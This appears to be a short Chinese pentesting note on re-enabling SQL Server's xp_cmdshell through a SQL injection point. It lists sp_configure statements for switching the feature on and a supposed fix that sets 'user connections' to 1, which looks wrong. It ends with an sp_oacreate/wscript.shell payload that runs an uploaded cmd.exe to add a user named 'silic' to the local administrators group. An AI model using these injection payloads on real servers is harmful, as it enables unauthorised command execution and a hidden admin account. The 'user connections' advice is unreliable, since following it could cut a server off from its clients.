mssql数据库sa账户xp_cmdshell解除禁用
使用xp_cmdshell执行命令的时候,系统回显如下:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
MSSQL中控制该功能开启和关闭的SQL语句
##关闭 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; ##开启 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
在注入点运行上述语句时,如果出现这样的回显
标记message: 配置选项 'xp_cmdshell' 不存在,也可能是高级选
或
設定選項 'xp_cmdshell' 不存在,或可能是一個進階選項。
执行如下语句即可解决
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE;--
使用wscript添加管理员
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'d:\\cmd.exe /c net localgroup administrators silic /add'
d:\\cmd.exe是自己上传的cmd.exe的路径,或者系统有权限都可以。/c后面是cmd语句,别忘了引号闭合语句